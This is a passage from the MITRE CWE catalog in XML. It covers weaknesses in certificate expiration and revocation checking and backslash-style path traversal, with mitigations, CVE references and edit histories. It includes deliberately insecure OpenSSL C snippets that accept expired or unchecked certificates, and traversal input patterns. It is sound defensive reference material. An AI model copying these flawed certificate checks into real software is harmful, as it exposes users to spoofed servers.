               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5780</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0355</Reference>
               <Description>Web browser does not validate Common Name, allowing spoofing of https sites.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0355</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Failure to validate host-specific certificate data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-245"/>
            <Reference External_Reference_ID="REF-243"/>
            <Reference External_Reference_ID="REF-249"/>
            <Reference External_Reference_ID="REF-250"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 23: Improper Use of PKI, Especially SSL.&#34; Page 347"/>
            <Reference External_Reference_ID="REF-955"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, References, Relationships, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-01-16</Modification_Date>
               <Modification_Comment>Integrated mitigations and detection methods for Certificate Pinning based on feedback from the CWE Researcher List in December 2017.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Detection_Factors, Modes_of_Introduction, Potential_Mitigations, References, Time_of_Introduction</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, Detection_Factors, Modes_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-03-10">Failure to Validate Host-specific Certificate Data</Previous_Entry_Name>
            <Previous_Entry_Name Date="2013-02-21">Improper Validation of Host-specific Certificate Data</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="298" Name="Improper Validation of Certificate Expiration" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age.</Description>
         <Extended_Description>When the expiration of a certificate is not taken into account, no trust has necessarily been conveyed through it. Therefore, the validity of the certificate cannot be verified and all benefit of the certificate is lost.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="295" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="672" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>When the software uses certificate pinning, the developer might not properly validate all relevant components of the certificate before pinning the certificate. This can make it difficult or expensive to test after the pinning is complete.</Note>
            </Introduction>
	    <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>The data read from the system vouched for by the expired certificate may be flawed due to malicious spoofing.</Note>
            </Consequence>
            <Consequence>
               <Scope>Authentication</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>Trust afforded to the system in question - based on the expired certificate - may allow for spoofing attacks.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Check for expired certificates and provide the user with adequate information about the nature of the problem and how to proceed.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the expiration.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-123">
               <Intro_Text>The following OpenSSL code ensures that there is a certificate and allows the use of expired certificates.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>if (cert = SSL_get_peer(certificate(ssl)) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>foo=SSL_get_verify_result(ssl);<xhtml:br/>if ((X509_V_OK==foo) || (X509_V_ERR_CERT_HAS_EXPIRED==foo))<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>//do stuff</xhtml:i>
                                 <xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>If the call to SSL_get_verify_result() returns X509_V_ERR_CERT_HAS_EXPIRED, this means that the certificate has expired. As time goes on, there is an increasing chance for attackers to compromise the certificate.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Failure to validate certificate expiration</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 23: Improper Use of PKI, Especially SSL.&#34; Page 347"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Relationships, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Modes_of_Introduction, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-03-10">Failure to Validate Certificate Expiration</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="299" Name="Improper Check for Certificate Revocation" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not check or incorrectly checks the revocation status of a certificate, which may cause it to use a certificate that has been compromised.</Description>
         <Extended_Description>An improper check for certificate revocation is a far more serious flaw than related certificate failures. This is because the use of any revoked certificate is almost certainly malicious. The most common reason for certificate revocation is compromise of the system in question, with the result that no legitimate servers will be using a revoked certificate, unless they are sorely out of sync.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="295" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="404" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>When the product uses certificate pinning, the developer might not properly validate all relevant components of the certificate before pinning the certificate. This can make it difficult or expensive to test after the pinning is complete.</Note>
            </Introduction>
	    <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>Trust may be assigned to an entity who is not who it claims to be.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>Data from an untrusted (and possibly malicious) source may be integrated.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Ensure that certificates are checked for revoked status.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the revoked status.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-124">
               <Intro_Text>The following OpenSSL code ensures that there is a certificate before continuing execution.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>if (cert = SSL_get_peer_certificate(ssl)) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// got a certificate, do secret things</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>Because this code does not use SSL_get_verify_results() to check the certificate, it could accept certificates that have been revoked (X509_V_ERR_CERT_REVOKED). The product could be communicating with a malicious host.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2011-2014</Reference>
               <Description>LDAP-over-SSL implementation does not check Certificate Revocation List (CRL), allowing spoofing using a revoked certificate.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-2014</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-0199</Reference>
               <Description>Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-0199</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-5185</Reference>
               <Description>Antivirus product does not check whether certificates from signed executables have been revoked.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-5185</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3046</Reference>
               <Description>Web browser does not check if any intermediate certificates are revoked.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3046</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0161</Reference>
               <Description>chain: Ruby module for OCSP misinterprets a response, preventing detection of a revoked certificate.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0161</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-2701</Reference>
               <Description>chain: incorrect parsing of replies from OCSP responders allows bypass using a revoked certificate.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-2701</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-0935</Reference>
               <Description>Router can permanently cache certain public keys, which would allow bypass if the certificate is later revoked.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-0935</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1358</Reference>
               <Description>chain: OS package manager does not properly check the return value, allowing bypass using a revoked certificate.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1358</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0642</Reference>
               <Description>chain: language interpreter does not properly check the return value from an OSCP function, allowing bypass using a revoked certificate.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0642</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4679</Reference>
               <Description>chain: web service component does not call the expected method, which prevents a check for revoked certificates.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4679</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4410</Reference>
               <Description>Certificate revocation list not searched for certain certificates.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4410</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4409</Reference>
               <Description>Product cannot access certificate revocation list when an HTTP proxy is being used.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4409</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Failure to check for certificate revocation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 23: Improper Use of PKI, Especially SSL.&#34; Page 347"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, Other_Notes, Relationships, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Modes_of_Introduction, Relationships, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Modes_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-03-10">Failure to Check for Certificate Revocation</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="30" Name="Path Traversal: '\dir\..\filename'" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\dir\..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.</Description>
         <Extended_Description>
            <xhtml:p>This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.</xhtml:p>
            <xhtml:p>This is similar to CWE-26, except using "\" instead of "/". The '\dir\..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for "..\" at the beginning of the input, so a "\..\" can bypass that check.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="23" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Windows" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1987</Reference>
               <Description>Protection mechanism checks for "/.." but doesn't account for Windows-specific "\.." allowing read of arbitrary files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1987</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>7 - '\directory\..\filename</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
